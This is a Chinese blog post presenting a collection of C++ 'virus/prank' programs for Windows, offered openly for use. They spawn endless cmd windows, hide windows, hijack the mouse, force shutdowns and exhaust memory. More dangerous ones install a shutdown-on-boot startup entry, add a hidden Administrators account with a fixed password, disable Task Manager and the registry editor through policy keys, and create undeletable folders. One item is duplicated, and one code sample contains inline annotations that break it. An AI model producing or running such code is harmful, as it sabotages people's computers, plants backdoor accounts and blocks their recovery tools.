c++病毒/恶搞代码大全

文章列举了多个利用C++编写的对Windows系统产生特定影响的代码示例,包括无限生成cmd窗口、隐藏活动窗口、使鼠标失控、计划关机以及卡死系统等。同时,对于每个恶作剧代码,都提供了相应的解决方法,如使用任务管理器关闭程序或利用命令行取消关机等。此外,还涉及了添加开机启动项、创建用户、禁用任务管理器和注册表以及设置桌面壁纸等更高级的操作。
摘要由CSDN通过智能技术生成

注:以下代码应勿用于非法(Dev-c++5.11实测可用)

0.

效果:无限生成cmd

解决方法:关闭程序即可

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)system("start cmd");
}

1.

效果:使鼠标所点应用消失

解决方法:暂无

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        HWND hWnd=GetForegroundWindow();
        ShowWindow(hWnd,SW_HIDE);
    } 
}

2.

效果:使鼠标乱飞

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)
    {
        SetCursorPos(rand()%1000,rand()%1000);
    } 
}

3.

效果:立刻或定时关机

解决方法:cmd(Win+R,输入:cmd),输入shutdown -a

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    system("shutdown -s -t 60");->1分钟
    system("shutdown -p");->立刻
}

4.

效果:卡死

注意:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}

5.

效果:卡死

警告:Windows高版本可能没有作用

解决方法:任务管理器(Ctrl+Alt+Delete)用方向键选该程序,点击Delete关闭

Code:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
    while(1)malloc(1000);
}

警告:从6.开始为危险/永久性程序,请慎重使用

6.

效果:开机即关机

提示:操作启动项,可能被杀毒软件拦截

解决方法:杀毒软件

Code:(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)

#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")

BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    return TRUE;
}

int main(int argc, char * argv[])
{
    AutoRun_Startup("c://main.exe", "main.exe");
    system("shutdown /p");
    return 0;
}

7.

效果:添加用户

提示:可能被杀毒软件拦截

解决方法:杀毒软件

Code:

#include <stdio.h>
#include <assert.h>
#include <windows.h> 
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
    USER_INFO_1 user;
    user.usri1_name = UserName;
    user.usri1_password = Password;
    user.usri1_priv = USER_PRIV_USER;
    user.usri1_home_dir = NULL;
    user.usri1_comment = NULL;
    user.usri1_flags = UF_SCRIPT;
    user.usri1_script_path = NULL;
    if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
        printf("创建用户完成 \n");
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = user.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
        printf("添加到组完成 \n");
}
void EnumUser()
{
    LPUSER_INFO_0 pBuf = NULL;
    LPUSER_INFO_0 pTmpBuf;
    DWORD dwLevel = 0;
    DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
    DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
    DWORD i;
    NET_API_STATUS nStatus;
    LPTSTR pszServerName = NULL;

    do
    {
        nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
            (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);

        if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
        {
            if ((pTmpBuf = pBuf) != NULL)
            {
                for (i = 0; (i < dwEntriesRead); i++)
                {
                    assert(pTmpBuf != NULL);

                    if (pTmpBuf == NULL)
                    {
                        break;
                    }
                    wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
                    pTmpBuf++;
                }
            }
        }

        if (pBuf != NULL)
        {
            NetApiBufferFree(pBuf);
            pBuf = NULL;
        }
    } while (nStatus == ERROR_MORE_DATA);
    NetApiBufferFree(pBuf);
}

int main(int argc, char *argv[])
{
    AddUser(L"lyshark", L"123123");
    EnumUser();

    system("pause");
    return 0;
}

8.

效果:禁用任务管理器

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

9.

效果:禁用注册表

提示:可能被杀毒软件拦截

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);
    return 0;
}

10.

效果:桌面壁纸

Code:

#include <stdio.h>
#include <windows.h> 
int main()
{
   DWORD value = 1;
    HKEY hkey;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
    RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    return 0;
}

11.

效果:不可删除文件

解决方法:将51-52行换成52行

Code:

#include <stdio.h>
#include <shlobj.h>
#include <windows.h>

// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
    char file[2048] = { 0 };

    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    BOOL bRet = CreateDirectory(file, NULL);
    if (bRet)
    {
        strcat(file, "\\anti...\\");
        bRet = CreateDirectory(file, NULL);
        if (bRet)
        {
            SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
            return TRUE;
        }
    }
    return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
    char file[2048] = { 0 };

    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);

    strcat(file, "\\anti...\\");
    RemoveDirectory(file);

    ZeroMemory(file, MAX_PATH);
    strncpy(file, FilePath, strlen(FilePath));
    strcat(file, FileName);
    RemoveDirectory(file);
}

int main(int argc, char * argv[])
{
    char *Fuck[4] = { "你", "好", "世", "界" };
    int FuckLen = sizeof(Fuck) / sizeof(int);

    TCHAR Destop[MAX_PATH];
    SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);  

    for (int x = 0; x < FuckLen; x++)
    {
        SetImmunity("c://", Fuck[x]);
        //ClearImmunity("c://", Fuck[x]);
    }

    system("pause");
    return 0;
}
评论 36
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值